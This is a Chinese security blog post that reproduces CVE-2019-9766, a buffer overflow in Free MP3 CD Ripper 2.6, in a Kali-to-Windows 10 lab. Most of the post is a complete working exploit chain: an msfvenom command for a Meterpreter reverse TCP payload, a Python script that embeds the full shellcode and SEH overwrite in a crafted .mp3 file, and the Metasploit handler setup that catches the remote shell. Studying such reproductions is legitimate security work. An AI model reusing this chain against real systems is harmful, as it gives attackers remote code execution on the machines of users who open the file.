CVE-2019-9766漏洞复现 – 作者:凯信特安全团队

      CVE-2019-9766曝出了关于Free MP3 CDRipper的缓冲区溢出漏洞,在转换文件时,Free MP3 CD Ripper 2.6中基于堆栈的缓冲区溢出漏洞,可使远程攻击者通过诱导用户打开特制的.mp3文件执行任意代码。经测试该漏洞影响多个windows版本,包括Windows7及Windows10(需指定Free MP3 CD Ripper 2.6版本)。下文将使用metasploit对CVE-2019-9766进行漏洞复现。

环境准备

攻击机:Kali(建议网卡设置改为桥接模式) IP 192.168.50.113

靶机:Windows10 IP 192.168.50.232

首先,靶机需要安装存在漏洞的Free MP3CD Ripper 2.6,版本为重点。安装好后如下图:

图片.png生成与监听

打开kali下的metasploit,生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.113lport=2333 -f c –smallest

图片.png    我们利用此shellcode去编写一个脚本,用于生成攻击payload。需要注意的是,应该使用python2版本。

buffer= “A” * 4116

NSEH= “\xeb\x06\x90\x90”

SEH= “\x84\x20\xe4\x66”

nops= “\x90” * 5

buf= “”

buf+= “\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30”

buf+= “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”

buf+= “\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52”

buf+= “\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1”

buf+= “\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b”

buf+= “\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03”

buf+= “\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b”

buf+= “\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24”

buf+= “\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb”

buf+= “\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c”

buf+= “\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54”

buf+= “\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x32\x71”

buf+= “\x68\x02\x00\x09\x1d\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50”

buf+= “\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5”

buf+= “\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67”

buf+= “\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff”

buf+= “\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00”

buf+= “\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56”

buf+= “\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58”

buf+= “\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5”

buf+= “\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85”

buf+= “\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1”

buf+= “\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5”;

pad= “B” * (316 – len(nops) – len(buf) )

payload= buffer + NSEH + SEH + nops + buf +pad

try:

   f=open(“TestFMCR.mp3″,”w”)

    print “[+] Creating %s bytes mp3File…” %len(payload)

    f.write(payload)

    f.close()

    print “[+] mp3 File createdsuccessfully!”

except:

    print “File cannot be created!”

 

将生成的MP3文件先放至靶机,然后在攻击机中打开msf,设置攻击模块与监听(ip,端口等)

msfconsole

useexploit/multi/handler

set lhost 192.168.50.113

set lport 2333

set payload windows/meterpreter/reverse_tcp

然后开始监听:

exploit

图片.png结果

      设置好监听后,我们将准备好的MP3文件放入靶机运行。点击convert,选择文件,如果此处没有看到mp3文件的话,可能是他默认只显示.wav文件,下面改为全部文件即可。

图片.png选择好后直接选打开,程序开始读取转换文件。

图片.png运行后可能会闪退、未响应或是报错,毕竟这不是mp3文件。没有关系,我们可以看到监听那边已经有响应了。

图片.png       到此为止就全部结束了,不得不说CVE-2019-9766漏洞利用价值比较低,虽然是缓冲区溢出造成的远程代码执行,但利用前提是目标机安装了Free MP3 CD Ripper,且必须为2.6版本。所有,这个漏洞也非常好修复:删除这个软件,或将其更新为更高的版本。

 后日谈

       不得不说复现这个漏洞我踩了许多坑,甚至重装了我的VMware与Kali。有趣的是,我出现的错误好像大家都没有遇到过,比如在生成shellcode的时候,kali提示我需要安装bundler,不过好在历经千辛万苦终于成功了。这里就提示一个大家可能也会犯的错误吧。在生成shellcode的时候,记得修改自己对应的攻击机地址与端口,生成的shellcode复制进上面记录的脚本中。注意:这个脚本必须在自己的攻击机下运行并生成payload。最开始由于我kali虚拟机VMware tools不好用,生成的payload(也就是.MP3文件)无法剪切出来,于是用kali生成的shellcode,粘贴至我的物理机上编写脚本并执行,实际应用中无法返回shell。重试无数次后,我尝试重装了VMware workstation,使VMware tools可用,然后在kali下生成了.MP3文件,剪切出来放进来靶机中,终于这次成功了。所以,kali下生成的shellcode,必须要在kali下执行脚本。如果你是windows下的msf,那就在windows下生成并执行脚本文件。

来源:freebuf.com 2020-03-12 21:53:32 by: 凯信特安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论